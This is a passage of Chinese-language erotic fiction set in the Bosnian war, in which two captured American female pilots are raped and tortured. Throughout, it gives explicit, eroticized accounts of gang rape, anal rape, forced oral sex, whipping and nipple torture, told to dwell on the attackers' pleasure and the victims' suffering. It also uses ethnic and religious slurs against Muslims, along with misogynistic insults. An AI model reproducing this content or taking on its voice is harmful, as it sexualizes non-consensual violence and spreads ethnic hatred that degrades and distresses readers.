  过了一会,那家伙又开始折磨芭芭拉丰满的胸脯,他抓着两团雪白柔嫩的肉团揉着,用力揪着两个细小嫩红的乳头。芭芭拉感到他好像要揪着自己的乳头将自己的身体提起来,现在她不仅是被欺凌的肉穴,就连肩膀、胸部和大腿也开始疼痛起来。

  芭芭拉痛苦地呻吟、抽泣着,眼泪使她双眼模糊了,她一边忍受着残暴的姦淫,一边在心里呼喊着:“薇尔科丽,你在哪儿?救救我!”

  穆族志愿者的首领继续兴奋地强姦着双脚被捆在树桩上的女飞行员,芭芭拉狼狈的处境使他轻易地就能对这个年轻姑娘施暴,他有力的抽插使几乎被倒吊着的女人的双肩和脖子顶在了地上,承受着几乎是两个人的重量。

  芭芭拉现在感觉自己的脖子快要折断了,强姦者的每一下插进都使她全身疼痛,尤其是脖子,连呼吸都变得困难起来。芭芭拉从来没受过这样的折磨,她觉得自己的小穴里一定被撕裂了,她感觉自己就快死了。但芭芭拉现在除了躺在这里,毫无办法反抗,她感觉那个人的肉棒已经变得好像拳头一样庞大,重重的戳进自己身体里面。

  头领看着芭芭拉苗条结实的身体随着自己的姦淫抽搐着,他仔细地体会着年轻女人紧密温暖的肉穴带给自己的快乐。在他看来,这个女人就是西方的娼妓,在不知羞耻地用她赤裸的肉体引诱着自己,和所有那些异端的女人一样,她们根本不知道女人应该是什幺样子的,这个下贱的婊子应该受到这样的惩罚!他要教给她,淫蕩而下贱的西方女人必须遭受的折磨!

  他将芭芭拉嘴里已经被唾液湿透的内裤拽了出来,他想听见这个女人的惨叫和哀求。他抓紧芭芭拉柔软而有弹性的大腿,使劲地拖拉着她的身体来配合自己的姦淫,他要听到芭芭拉的尖叫和哭泣,仅仅有痛苦的呻吟是不够的。

  他尽全力地在女飞行员已经红肿出血的肉穴里抽插着,将自己对异教徒的仇恨都发洩在这个女人身上。

  他的同伴们在一旁欢呼着,鼓励着他们的首领对这个被俘的女人施暴,用他野蛮的方式征服这个来自西方的骄傲女人。

  终于,他们成功地听到了芭芭拉发出的凄厉的悲鸣:“不!!……不、求求你、停下来!你要弄死我了!啊!!!”

  芭芭拉的惨叫和泪流满面的痛苦使他更加疯狂起来,他狂暴地姦淫着可怜的女飞行员,终于用他又热又稠的精液填满了芭芭拉的小穴。

  他将自己的肉棒从芭芭拉红肿的肉穴里抽出,示意另一个人来继续对这个女人施暴。他体会到了折磨凌虐一个西方娼妓的快乐,而看着自己的同伴强姦异端的女人同样是一种快乐,同时他还想看看这个女人遭到强暴时脸上的痛苦羞辱的表情。

  芭芭拉感到野蛮的强姦者射进自己阴道的精液,像火一样灼痛着她受伤的身体,更使她骄傲的自尊心被几乎击得粉碎。她正低声地呜咽着,忽然感到刚刚获得一点释放的轻鬆的小穴里又被一根丑陋的肉棒塞满了!

  这一次因为刚刚那个首领的精液的润滑作用,芭芭拉没有感觉到那种撕裂般的剧痛。她惊慌地抬起头,看见了另一个丑陋的面孔在朝着她笑着。

  芭芭拉又在穆族志愿者的野蛮侵犯下,落入了痛苦和恐惧的深渊,她的身体随着敌人的抽插在地上来回拖动着,不仅是被侵犯的肉穴,芭芭拉全身都在疼痛着。

  这个家伙和他的首领一样地残忍和粗暴地姦污着芭芭拉,使年轻的女飞行员感到无比的痛苦、骯髒和羞耻。芭芭拉此刻恨不能死掉,她的脸埋在被泪水和汗水弄得泥泞不堪的土地上大声哀号,心里也呼喊着:“薇尔科丽,薇尔科丽!你在哪儿?谁能救救我??!!”

  

  波黑噩梦(三)

  摄影师扛着摄像机躲在树丛后面,正浑身是汗地追蹤捕捉着美国女人遭到轮姦的精彩镜头。

  他能清清楚楚地看到这个美国女人那赤裸着的身体,雪白苗条的肉体在不停地与捆绑着她的绳索搏斗着,她虽不大却挺拔的乳房随着身体的抗争剧烈地跳动在胸前,笔直光滑的双腿被生锈的电线残酷地捆在了树桩上颤抖着,漂亮而丰满的屁股被男人的双手抓着,迷人的两腿间的肉缝里进出着一根黑色的肉棒,带出着一些混合着血丝的黏液。

  那姑娘的脸上沾满泪水和泥土,在地上来回转动哭叫,她漂亮的黑髮已经变得像骯髒的拖布一样在土地上蹭来蹭去。

  摄影师现在祇希望自己也能有机会来干一下这个年轻漂亮的美国女人,他认真地架着摄像机继续拍摄着。

  那第二个家伙已经跪在了芭芭拉两腿间,双手抓紧她丰满的大腿向下按着,嘴里喘着粗气努力地在芭芭拉的身体里发洩着。

  刚刚姦污了芭芭拉的那首领则走到她的面前跪了下来,他手里扶着自己的阳具。那上面沾满了白色的精液,和一些芭芭拉被他粗暴的姦淫撕裂的阴道中的血迹。他用手握着那骯髒的肉棒,像鞭子一样抽打起不停哭叫哀求的女人的脸。

  摄影师甚至能通过镜头看到那些白浊的黏液和斑斑的血迹糊满了芭芭拉充满悲哀屈辱表情的脸。

  芭芭拉被来自现实的剧痛从空虚中拉了回来,站在她两腿之间的家伙正变化着不同的角度打击着女人的肉体,一下又一下全力的猛戳使芭芭拉浑身几乎都麻木了,泣不成声地挣扎着。

  当第二个家伙在芭芭拉身上发洩完毕,立刻有第三个填补了他的位置,他们都是一样的残忍和恶毒,用尽各种手段蹂躏着被俘获的女飞行员,用精液填满了她的小穴。

  芭芭拉娇嫩诱人的秘穴在强姦者的发洩中饱受蹂躏,两片粉红色的阴唇已经变得暗红色、可怕地肿了起来;小穴中被精液填满了,被粗大的“活塞”挤溢出来,糊满了大腿根、臀部和肛门周围,形成了一片白色的秽迹。

  尽管天气寒冷,可正遭受苦难的女飞行员赤裸的身体上还是沾满了汗水,耀眼地闪烁着。

  大约五十米以外,阿坎正和他的摄影师安静地观看着这残忍淫虐的表演,他的部下已经悄悄地包围了这些正陷入疯狂中的家伙。

  他的摄影师忠实地记录着:呻吟、挣扎的女人,围成一圈笑着的男人,已经跪在女人两腿间的家伙粗暴的抽插。通过摄像机,他清楚地看到了芭芭拉两腿间那片白花花的秽迹,恶心的精液已经糊满了她纤小浑圆的肛门,不断地滴到地面上。

  摄影师将镜头切换到女人的脸部,看到了一张沉浸在痛苦、羞愤、绝望中的姑娘的脸。当芭芭拉将头扭过来时,摄像机立刻记录下了她那粘上了精液、血迹和泥土的脸上奔流的泪水,以及微弱的哭叫。

  芭芭拉已经记不清遭到几次强姦,她祇感到自己的秘穴已经成了一个专门收集痛苦的器官,而那些家伙则在这里获得满足的同时,留给年轻的姑娘无尽的痛苦,她祇能哭泣着绝望地摇头表示着心底的抗拒。

  五个穆族志愿者都已经在这个美国女飞行员身上发洩完了,但他们的首领仍然不满意。他从树上折下一根带着树叶的树枝,他拿着树枝命令另外两个家伙解下腰带,开始让这个美国女人嚐嚐另一种酷刑。

  他挥舞着树枝,不轻不重地抽打着芭芭拉两个丰满的乳房,树枝划过细嫩的肉团和敏感的乳头,立刻留下一道道醒目的血痕,这种疼痛的刺激使芭芭拉立刻尖叫起来。

  另外两个家伙则重重地举起皮带,抽打着芭芭拉糊满了精液和汗水的屁股!沉闷的“啪”声响过,女飞行员结实白嫩的屁股上立刻出现了可怕的红肿,没有流血却明显肿起来的淤痕,在芭芭拉雪白的身体上显得十分突出。

  听着女飞行员嘶哑的惨叫哀求,这些野蛮拷打着年轻女人的家伙不知不觉又兴奋起来,芭芭拉受到的折磨对他们是最好的刺激。

  芭芭拉无助地哭泣、哀号、恳求着他们停止残酷的毒打。

  “啊、啊!!……求求你们、要我做什幺都行,不要打了……”

  可是芭芭拉的哭叫对这些家伙丝毫不起作用,他们既听不懂她的话,也根本不打算理会这个女俘虏的哀求。

  那首领看到芭芭拉丰满的胸部已经布满鞭痕,于是忽然将目标转向女人被精液糊满了的两腿之间。当粗糙的树枝第一下落在芭芭拉那已经被姦淫得红肿起来的肉穴上时,她立刻发出一种发狂似的尖叫!芭芭拉被电线捆着的双腿一下子像抽筋一样僵硬起来!

  首领残忍地抽打了几下芭芭拉的秘穴之后,看到这个女人好像要昏过去一样浑身已经瘫软下来,于是示意那两个家伙也停止了拷打。

  芭芭拉祇能感到自己的胸部和屁股火烧一样地疼痛,而下身则好像已经失去了知觉。忽然,她感到一个人用手抓着自己被抽打得肿起来的屁股,将手指插进了自己的菊花洞中!

  她惊慌地挣扎着抬起头,看到那首领跪在自己两腿之间,正在将手指强行插进自己还是处女的肛门中!一阵麻酥酥和撕裂的疼痛传来,芭芭拉立刻嘶声尖叫起来。

  那首领用手指沾着从芭芭拉阴户里流出的粘稠的精液,开始在她紧紧收缩顽抗着的菊花洞里涂抹起来,同时也涂在了自己的肉棒上。他将粗大的肉棒顶在皱褶重重的小肉洞口,用力向里推着,眼看着一层层暗红的皱褶被打开,粗大的肉棒插进了女人的屁眼里!

  他欣赏地看着自己的肉棒插进了女飞行员淤伤累累的屁股,看着芭芭拉痛苦悲辱的表情,享受着处女肛门的紧密。

  芭芭拉低声地呻吟着,竭力想收紧下身抗拒对方的侵入,但她手脚被捆,又刚刚遭到残酷的拷打,而且对方的力量实在太大了。芭芭拉祇能绝望地任凭敌人侮辱。

  那些旁观的家伙已经开始盘算以什幺次序来操这个女飞行员的屁股了。而他们的首领则残忍地开始用粗大的肉棒在芭芭拉被撕裂的肛门中抽插起来。

  每一下插进对芭芭拉来说都是酷刑一样,那种火烧一样的灼痛从被施虐的肛门迅速蔓延的整个身体,芭芭拉感觉已经失去了对身体的控制,四肢开始痉挛起来。

  那首领的肉棒深深地插进芭芭拉的肛门,挤压着她的直肠,使芭芭拉感到屁股里面酸涨难忍,再加上火辣辣的疼痛,这种折磨和羞辱是年轻的女飞行员无法忍受的。

  芭芭拉几乎要昏死过去了。忽然,她感到自己肛门里那种火辣辣的疼痛缓和下来,那首领的头软绵绵地垂在了自己胸前。几乎在同时,芭芭拉听见了几声枪声!

  一瞬间,似乎所有人都惊呆了。随后,周围响起了一片枪声,芭芭拉看到那些刚刚还轮姦她的家伙纷纷倒在了地上!她的头脑里立刻闪过一丝惊喜:“谢天谢地,他们来救我了!!”

  芭芭拉的身体上压着一具尸体,那首领流出的血,顺着她雪白的胸部流淌下来。她听见了脚步声,抬起被泪水、汗水和精液弄得一塌糊涂的脸,立刻看见一个留着鬍子的男人站在自己身边。

  “我来帮助你!我是朋友!”

  “把他搬走,求求你!”芭芭拉身体上还压着那流血的尸体,那死人的肉棒甚至还插在她的身体里,她觉得恶心极了,歇斯底里地喊叫起来。

  “当然,年轻的女士!”阿坎脸上挂着温和的笑容,伸手拉起那尸体。

  “发生这种事我很遗憾!我们看见穆族的猪猡把你们的飞机打下来,于是就马上赶来了。你们的飞行员呢?他还好吗?”

  “薇尔科丽!”芭芭拉浑身哆嗦着说:“上帝!我不知道她现在怎样了!”

  “她?!”阿坎惊讶地看着芭芭拉,手里还拖着那流血的尸体。

  “美国飞行员是她??!”阿坎大声喊着。尽管他竭力装做一个高尚的拯救者,但一想到自己将一下抓住两个美国女飞行员,他还是不禁兴奋起来。

  但他立刻意识到自己的失态,幸好芭芭拉没有注意到。被从穆族人残暴的轮姦中拯救出来,芭芭拉觉得太快乐、太激动了,她现在甚至顾不得问一问这些救了她的人的身份。

  “我们必须找到她!他们也在找她!你一定要帮助我们,在这种糟糕的事情发生在她身上之前找到她!!”

  “无线电!”正激动地啜泣着的芭芭拉忽然喊了起来:“我怎幺忘记了无线电!”

  “也许我能找到她。那些东西在这附近我的衣服那里,他们把它丢到地上,当他们……袭击我时。”

  ※※※※※

  薇尔科丽现在已经登上了一座小山包,在这里她打开无线电就可以与正在头上盘旋的古斯的F-14取得联络。

  古斯和甘比因为云层的遮掩,都没有看清薇尔科丽的飞机是被谁、怎幺击落的。但他们一直在这里盘旋着,希望能得到两个女飞行员的消息。现在他们的飞机祇剩下很少的油料,祇能坚持一会听完薇尔科丽的简述就得返回。

  薇尔科丽简洁地讲述了自己的飞机在没有得到雷达示警的情况下就被打了下来,她也说了现在身后有人在追捕自己的处境。薇尔科丽停顿了一会,说起自己与芭芭拉失去联系,不知她现在如何。

  古斯坚持听完薇尔科丽的报告,立刻切断联络返航了。

  “那是她!那是薇尔科丽!她还活着!!”芭芭拉也通过无线电听到了薇尔科丽与古斯的对话,立刻兴奋起来。

  尽管不能听懂薇尔科丽现在与总部的对话,但事实是清楚的:这个女飞行员已经与总部取得了联络,而且随时有可能被营救。接下来的信息,更令阿坎感到紧张。

  “薇尔科丽,‘母亲’说你将得到那个预先準备好的‘小狗’,而且‘防水布’也已经铺好。我再说一遍:‘母亲’不许你停留在现在的位置赶紧去找你的‘小狗’。现在一切全靠你自己了,祝你好运!”

  ※※※※※

  芭芭拉也通过拿在阿坎手里的无线电听到了这一切。

  “请让我和他们说一句,告诉他们我现在很好!”她问。

  现在芭芭拉穿着她的飞行服,尽管衣服被撕破一些,但她穿在身上还是感觉很舒服。芭芭拉现在仍然感到自己被精液和汗水沾满的身体上黏乎乎的,而且似乎现在两腿之间还在流着东西,使她感到自己现在已经是一个骯髒的女人了。

  她不喜欢那些救了她的男人的眼神,但那个首领除外。芭芭拉觉得祇要自己留在那个首领身边,就会是安全的。

  阿坎抓着无线电不放,说道:“等过一阵吧!我的上司想利用这个机会做做宣传,你应该明白的,是吗?”

  “现在我想知道那些对话里的‘母亲’、‘小狗’还有‘防水布’是什幺意思?现在找到你的飞行员是最重要的,你不希望她被抓住并受到袭击,是吗?”

  芭芭拉对这个救了自己的男人十分信任。“是的。‘母亲’的意思是上级司令部,也就是运送我们来的‘艾森豪威尔’号。‘小狗’是指登陆点,也就是我们去等待直升机救援的地点,我们的小狗在前面的山谷里。‘防水布’指的是救援行动。”

  “哦,明白了。请告诉我你们的‘小狗’具体的位置,这样我们就可以去保护你的飞行员了!我将给她一个惊喜!”

  ※※※※※

  薇尔科丽结束了通讯,她向山丘下看去,那里有很多闪光的物体在移动着。

  “他们在找我!”她心里面想着,看看自己的目的地--山那边的山谷里。“我看来得爬过这坐山了!”

  薇尔科丽小心地躲开树林的那些闪光的家伙,开始朝着山谷那边前进。寒冷的冬夜里在山里爬着,薇尔科丽感觉自己几乎要被冻僵了,她的飞行服和长内衣也无法驱赶走外面的寒冷。

  薇尔科丽知道自己必须不停地走动,否则就会被冻死或落入敌人的手里。她穿过树林,趟过一条小河,逐渐离山谷越来越近。这时薇尔科丽开始觉得饿得要命,她的身边没有带食物,祇好硬撑着继续前进。

  当薇尔科丽翻过了这坐小山,开始进入山谷时,她感到自己已经快精疲力尽了,不仅双腿变得灌了铅一样沉重,胃里也开始痛了起来,眼前直冒金星。她感觉如果这时再找不到食物,就将很快失去体温,晕倒在这里。

  当黎明的曙光出现时,薇尔科丽忽然看见了山谷里有一个破旧的谷仓!她几乎没有犹豫就决定冒险进去看看。薇尔科丽手里握着手枪,小心地走了进去。

  破旧的谷仓里全是牛粪,当薇尔科丽失望地走进储藏区时,看到在地上丢着一些已经乾了的萝蔔。薇尔科丽拾起一个骯髒的萝蔔,感到一阵反胃。但她还是叹了口气,无奈地切下一片放进嘴里。

  已经腐烂了一半、又冻了的萝蔔在嘴里使薇尔科丽觉得恶心极了,但她还是用出自己全身的力量咀嚼起来。

  ※※※※※

  阿坎笑着说:“谢谢你,马龙中尉!哦,这太正式了,我就称呼你做‘芭芭拉’好了。给了我们很大帮助,尤其是,我发现你提起的同伴--薇尔科丽,十分有趣,看起来她是个出色的女人。我会很高兴认识她,在你们的那个‘小狗’那里。”

  “现在……,我有件事情请你帮忙。请把脸朝着卡车窗户,芭芭拉。”

  芭芭拉疑惑地看着她的救命恩人,突然发现他正握着手枪对着自己!

  “喂……你这是干什幺?……我不明白……”

  “脸朝窗户!你这个愚蠢的婊子!不是穆族人把你打下来的,是我的人!你们美国人太天真了。你们满世界去关閑事,却为了别人仇恨你们而感到吃惊?!脸转向窗户!!”

  芭芭拉感到吃惊和不解,她慢慢地将头转向越野车的后车窗。

  阿坎立刻抓住芭芭拉的双臂扭到背后,用手铐将芭芭拉双手铐上,坐在车前座位上的保镖立刻笑了起来。

  阿坎铐上芭芭拉的双手,然后将她脸转过来,推倒在车后座上。他一边用手枪指着芭芭拉的头,一边扒开她的上衣,使芭芭拉细嫩丰满的胸部裸露出来。

  阿坎用手轻轻拍打着芭芭拉匀称挺拔、却布满伤痕的乳房,上面两个小东西已经紧张羞耻得立了起来。

  “不、请不要……别这样对我!……求你!”芭芭拉感到阿坎的手出没在自己裸露的肌肤上,不禁浑身发抖,哀求起来。在刚刚遭到残酷的轮姦之后,这幺快又要遭到折磨,年轻的女飞行员已经受不了了。芭芭拉感到浑身瘫软,一点也没有反抗的勇气和力量了。

  “我要给你看点东西,我的小美国飞行员。一些我用来吸引女人注意力的小玩意!”

  阿坎说着,从口袋里掏出一些弹性极好的细鱼线,放在自己腿上。他动作很快地将鱼线做成了两根套索的样子,然后将套索的一端準确地繫在了裸露着上身的女飞行员纤细的乳头上!

  芭芭拉已经紧张得喘不上气来,她祇觉得敏感的乳头被鱼线勒得紧紧的,一阵阵剧痛传来,她不由自主地随着阿坎手里鱼线的牵引离开了座位。

  阿坎像玩着一个玩具一样提拉着手里的鱼线,带着双手被铐在背后的女飞行员在地板上踉跄着,跪趴在自己脚下。

  芭芭拉感觉自己的乳头好像要被切掉了一样疼痛,这种痛苦是急速的和强烈的,她不禁哭了出来:“噢!!请不要!……求求你、不要折磨我了。这、这太痛了!……你要我做什幺都可以、求你住手啊!”

  鱼线果然不再拉扯了,芭芭拉流着眼泪抬起头,看见站在自己面前的阿坎开始解开裤子,掏出了乌黑粗长的阳具。那根硬邦邦的肉棒撞在芭芭拉脸上,她下意识地退缩着。

  “舔它!芭芭拉!”阿坎一边命令着,一边轻轻抖动着手里的鱼线。

  芭芭拉立刻又大声惨叫起来,她哽咽着将头靠近阿坎的肉棒,哭着张开嘴,伸出柔软的舌头在那东西上舔了起来。当芭芭拉的舌头舔到阿坎又粗又热的家伙时,立刻一股难闻的味道进入她的嘴里和鼻子里,芭芭拉差点吐了出来。

  阿坎用手扶着自己的阳具,使它和跪在地上的芭芭拉的头顶一样高,这样芭芭拉就得抬起头从下朝上地来舔。阿坎用手里的鱼线引导着这个姑娘仔细地舔着自己的家伙,用她柔软的舌头和温暖的小嘴刺激着自己,他喜欢这种对跪在自己面前的女人的支配。

  芭芭拉屈辱的侍奉使阿坎感到快要爆炸了,他坚持了一会,终于丢下手里的鱼线,用手抓着芭芭拉的头髮,将她的脸紧贴着自己的下身,狂暴地在她的嘴里抽插起来!他的每一下抽插都令这个美国女人感到快要窒息了,他的粗大的肉棒直顶进芭芭拉的喉咙里。

  “是的,你一定觉得这太过分了吧?母狗!你可以告诉那个叫‘薇尔科丽’的朋友,这是种什幺滋味?!干死你这个贱货!!”

  芭芭拉试图镇静下来,可她实在做不到,甚至连呼吸都很困难,祇能利用阿坎抽回肉棒的瞬间才能喘口气。阿坎现在几乎是骑在了芭芭拉的脸上,奋力抽送着,使女飞行员觉得嘴里既麻又痛,口水顺着无法合上的嘴角流了下来。

  随着阿坎的抽插越来越快,越来越粗暴,芭芭拉已经感到快昏迷了。阿坎极快的抽送已经使芭芭拉完全无法呼吸,感觉自己好像在黑暗中游泳一样。

  芭芭拉觉得极其恐惧和无助,她蹲伏在地板上抽搐着,眼前金星乱冒,任凭阿坎在她的嘴里野蛮地施暴,粗鲁地在她的脸上蹭来蹭去。

  当芭芭拉失去意识前,第一次体会到了被精液填满了嘴里和喉咙里的苦涩滋味。阿坎用他的肉棒堵住了芭芭拉的嘴,将大量腥热的精液毫无遗漏地全射进了她的喉咙里,使她彻底失去了呼吸的可能,女飞行员随即感到掉进了无边的黑暗中。

  芭芭拉不知道自己昏迷了多久,当她甦醒过来时,发现自己仍然被铐着双手躺在越野车的地板上。那鱼线仍然紧紧缠绕着芭芭拉的乳头,由于充血的时间太长,芭芭拉祇感到那里有一种迟钝的疼痛。她悲哀地看着自己赤裸的胸部,那两个娇小的乳头已经被勒得肿大淤血。

  芭芭拉能感觉到车的移动,听见阿坎在前座上说着话。嘴里那种又鹹又腥的味道和粘粘的感觉使芭芭拉立刻想起了刚刚的可怕遭遇,她躺在颠簸的车里,悲惨的处境和残忍的凌虐,使女飞行员彻底垮掉了。

  “哦,薇尔科丽!”芭芭拉想着:“天哪!我竟然告诉了他们,可以去哪儿找你!”

  

  波黑噩梦(四)

  拂晓时,薇尔科丽已经穿过了最后一片树林,走近了那约定好的地点。虽然她此刻又冷又饿,但一想到再过一、两个小时就能得救,薇尔科丽实在无法抑制内心的兴奋。

  薇尔科丽知道,自己现在只需要去那里发出信号就行了。她小心地穿过矮木丛,走过草地,忽然看见前面有一个奇怪的物体!

  薇尔科丽的心一下就提起来了,因为那是芭芭拉!她立刻停下了脚步,这里一定出了问题!薇尔科丽看见芭芭拉背靠着一棵树,她身上的飞行服被扯开,裸露出她的胸部!薇尔科丽还看到芭芭拉在摇头,却没有说话。

  当薇尔科丽凝视着芭芭拉的时候,一伙人从芭芭拉身边的树丛里站了起来!

  “投降吧,中尉!到处都是我的人,你逃不了了!!”

  薇尔科丽紧张地向四面望去,在她的来路上也出现了敌人,完全包围了她。薇尔科丽赶紧从腰间掏出手枪。

  “不要做蠢事!”一个男人手里的枪指着芭芭拉的头,大声地喊着:“如果你开枪我就杀了你的朋友!丢下你的枪!!”

  薇尔科丽犹豫了几秒钟,将手枪丢在了地上。立刻,有几个人过来将薇尔科丽双手扭到背后,用手枪抵住了她的头。薇尔科丽没有反抗,被他们押着朝芭芭拉走来。

  薇尔科丽看见芭芭拉的嘴被堵着捆在树上,丰满的胸部从被扒开的飞行服中裸露出来乳头被鱼线捆着向下拉扯着,远远超过了它本来的长度。从芭芭拉的眼神中可以看出这种疼痛一定十分可怕!芭芭拉的脸上糊满了乾涸的精液,这些白色的污秽说明了她的遭遇。

  “他们已经强姦了她!”薇尔科丽心里闪过这个念头,“我将是下一个!”但当薇尔科丽看到他们已经伤害了芭芭拉时,她此刻的愤怒多过对自己的担心。

  “杂种!勇敢的男人!你们就是这样欺负一个弱小的姑娘吗?!……你们这些混蛋难道只有这样才能样你们的屁眼舒服吗?!”

  这些塞尔维亚人里只有阿坎能听懂愤怒的女飞行员的怒骂,出乎薇尔科丽的预料,他哈哈大笑起来。阿坎用塞尔维亚语告诉其他人:他们终于遇见了一个和那些只会哭叫的穆族女人不同的,真正算是勇敢倔强的女人!

  然后他转向愤怒的薇尔科丽:“啊,薇尔科丽中尉,我很高兴能见到你!芭芭拉已经告诉了我许多关于她的强壮、出色的同伴的事,我已经为你安排好了计划!”

  薇尔科丽有些惊讶,但很快恢复了镇静。

  “我不怕你们!我们的人正在赶往这里。你最好替自己想想吧!你这个强姦犯!”

  “也许吧……”阿坎摆弄着手里的芭芭拉的无线电,微笑着说。

  ※※※※※

  一小时后,阿坎牵着不停地惊慌尖叫着的芭芭拉走进一个废弃的谷仓,他手里的绳索的另一段繫在芭芭拉从飞行服中裸露出来的丰满胸膛上、那两个已经被拉扯得变形的小乳头上。芭芭拉的脖子上也繫着一根绳子,绳子的另一头繫在薇尔科丽的脖子上。

  薇尔科丽满脸愤怒地跟在后面,她不敢反抗,因为这样会使芭芭拉受到更大的痛苦,甚至会将她那两个可怜的乳头撕裂。薇尔科丽竭力想在芭芭拉面前摆出勇敢的姿态,但她还是紧张得浑身已经被冷汗湿透了,她眼看着自己和芭芭拉被带进这个肮髒的、堆满了垃圾和废农具的谷仓里面。

  两个女人被带到一根巨大而沉重的房樑下,一个士兵用步枪对着薇尔科丽,另外的两个家伙开始用绳子紧紧捆在她的军靴上,然后使劲地将薇尔科丽的两腿拉开,分别捆在了两个沉重的废弃的农用牵引器上。

  薇尔科丽感到两腿被拉扯得几乎要劈开了,大腿根和脚踝一阵疼痛,她现在只能脚尖勉强站在地上,两腿大大地张开着站在废弃的谷仓里。

  阿坎接着将繫着两个女飞行员脖子的绳索在芭芭拉脖子上的一端解开,交给一个警卫。那个警卫将绳索绕过薇尔科丽头顶的房樑,使劲拽着,将薇尔科丽吊了起来!

  双手被铐在背后的薇尔科丽疯狂地挣扎着,感觉自己好像上了绞刑架一样被脖子上的绳索吊了起来,她害怕这些家伙要当着芭芭拉的面吊死自己!?

  但当警卫看到薇尔科丽的身体已经被吊起来,很快将绳索固定好,然后打开了铐在她手上的手铐。两个警卫将薇尔科丽的双臂扭在背后拉得直直的,然后开始用绳子从她的手腕开始,仔细地将薇尔科丽的双臂并在一起牢牢绑住,一直绑到肩膀。

  薇尔科丽现在感到难受极了,她的身体全靠勉强能站在地上的脚尖支撑,两只手臂也被用绳索吊在了房樑上,拉扯得双臂和肩膀十分疼痛。脖子上的绳索倒是没有刚刚勒得那幺紧,薇尔科丽呼吸没有问题,但还是不敢乱动,否则还是会喘不上气来。

  看到健壮的女飞行员彻底失去了反抗能力,被脖子和双臂上的绳索吊在房樑上,阿坎从腰带上拿下一把小刀,微笑着走到她面前。他开始拉开薇尔科丽身上衣服上的拉链,遇到拉不开的地方就用小刀解决。

  薇尔科丽感到惊慌和愤怒,却没法反抗。芭芭拉和其他的男人眼看着阿坎慢慢地将薇尔科丽身上的飞行服和内衣一点点地割破剥掉。薇尔科丽还试图保持镇静,但冰冷的小刀碰到逐渐裸露出来的肌肤使她不禁浑身发抖起来,很快她除了脚上的军靴已经变得一丝不挂,赤裸裸地被吊在了阿坎面前。

  阿坎用讚赏和贪婪的目光打量着眼前赤身裸体的女飞行员,薇尔科丽的胸部十分丰满,两个硕大的乳房上的乳头也比普通人大很多,非常惊人地硬了起来,下身金色的阴毛覆盖下,两腿间的那迷人的肉穴也显得十分肥厚。

  “是的,你的身材真好!”阿坎贪婪地看着薇尔科丽赤裸的美妙身体,忍不住用手顺着她平坦的小腹向上摸去,用双手像称量重量一样托住了薇尔科丽胸前的两个肥大的乳房,大拇指按在了两个乳头上。

  “你不能这样!这是战争罪行!我要求你按照日内瓦公约对待我!”愤怒已极的薇尔科丽大声喊着。

  “哦,我想我能这样做!我已经这样做了很多年,这里没有你的愚蠢的日内瓦公约,我强大的美国人!没人能帮助你,你现在是我的了!”

  阿坎一边说着,一边开始用手里的鱼线来对付薇尔科丽两个丰满的大乳房。他先将鱼线仔细地捆在薇尔科丽右边的乳头上,然后使劲勒紧,尼龙线深深地勒进了变硬挺起的乳头里。

  薇尔科丽惊恐地看着尼龙线被紧紧地捆在自己的乳头上,一阵难以忍受的剧痛从胸前传来,她立刻尖叫起来:“啊!……你这个杂种!啊!!……住手!!啊!!!”

  阿坎毫不理会女飞行员的痛苦,接着将鱼线的另一端同样紧紧地繫在了薇尔科丽左边的乳头上,他使劲地勒着,知道看到两个嫩红的乳头已经充血变大,变成了紫红色才停了下来。

  薇尔科丽几乎不敢相信自己的乳头会遭受如此酷刑,那种疼痛使她感觉自己的乳头已经被勒断了一样,她浑身不停地流着冷汗。

  阿坎手里握着两端繫在薇尔科丽乳头上的鱼线,开始抖动起来。薇尔科丽大声惨叫着,两个丰满的大乳房随着鱼线开始上下地剧烈抖动起来,旁观的警卫都笑了起来。

  薇尔科丽现在对着站在自己面前,用酷刑折磨自己还戏弄着自己的家伙恨极了,但她知道自己还不能发作,自己还得坚持着忍受接下来的折磨和拷打。薇尔科丽认为自己必须付出一些代价来为营救自己和芭芭拉的人赢得一些时间,她想自己也许可以说谎来装做合作的样子。

  “啊!好吧、好吧!我受不了了!你想知道什幺?!”

  “知道?!我什幺也不想知道……除了你能忍受多少痛苦!我不关心你们那些愚蠢的军事机密,那些从CNN上都能知道!我只是一个简单而快乐的人。我只想听到你的惨叫……还有哀求!”

  薇尔科丽几乎不敢相信自己的耳朵,这个人竟然如此变态!

  阿坎接着开始继续攻击薇尔科丽两个已经充血的乳头,用拇指和食指捏着柔软娇嫩的小肉珠,使被捆绑的女人不断发出凄厉的尖叫。

  “啊!!……停、停下来!啊!!!我、我不会哀求你的!”

  “好吧,我倒要看看你能忍多久。我会强姦你,然后再教会你如何开口向我哀求!你的朋友现在已经很听话了。你知道,是她告诉我们如何找到你的。”

  阿坎说着让开身体,薇尔科丽挣扎着试图看看芭芭拉的样子,可勒在脖子上的绳索使她无法低头平视,但是她的本能告诉她这是真的,芭芭拉出卖了自己!虽然薇尔科丽相信芭芭拉是在酷刑拷打下才做了这些,但她心里还是感到十分气愤。

  阿坎将堵住芭芭拉嘴的东西取出来,拉着捆在她两个乳头上的鱼线,拽着尖叫不止的年轻女人来到薇尔科丽面前,跪在地上。他迫使芭芭拉的脸对着薇尔科丽裸露的下身,看着薇尔科丽迷人的金色阴毛和那诱人的肥嫩的肉穴。

  阿坎示意芭芭拉去用舌头舔薇尔科丽的阴部,他将芭芭拉的脸推到薇尔科丽的大腿根,芭芭拉顺从地舔起那些金色的卷毛来。阿坎手里牵着鱼线,指引着年轻姑娘的动作,他的部下则在一旁嘲笑着这个年轻的女飞行员下贱淫蕩的行为。

  当薇尔科丽发现被一个女人舔着自己的私处,她下意识地扭着腰躲避着。在薇尔科丽心里,生活应该是快乐的。她喜欢主动地享受性行为,而不是被动的,甚至还是被动地与一个女人发生这种事情。而当这个女人是自己的朋友和部下芭芭拉时,就更加无法接受。

  芭芭拉柔软的舌头触到薇尔科丽敏感细嫩的部位,那种感觉使金髮女郎感到一种恶心和反胃,但这还不是最痛苦的滋味。薇尔科丽感到自己的乳头像火烧一样地痛着,被绑在身后吊着的双臂也好像要从肩膀的位置断开了一样疼痛。而最糟糕的是,薇尔科丽头脑里闪过了曾经听说的、关于在海湾战争中被伊拉克人俘虏的黛安娜.贝克少校的遭遇!

  薇尔科丽害怕遭到他们的轮姦,这种恐惧已经超过了她对芭芭拉现在的这种行为的反感。

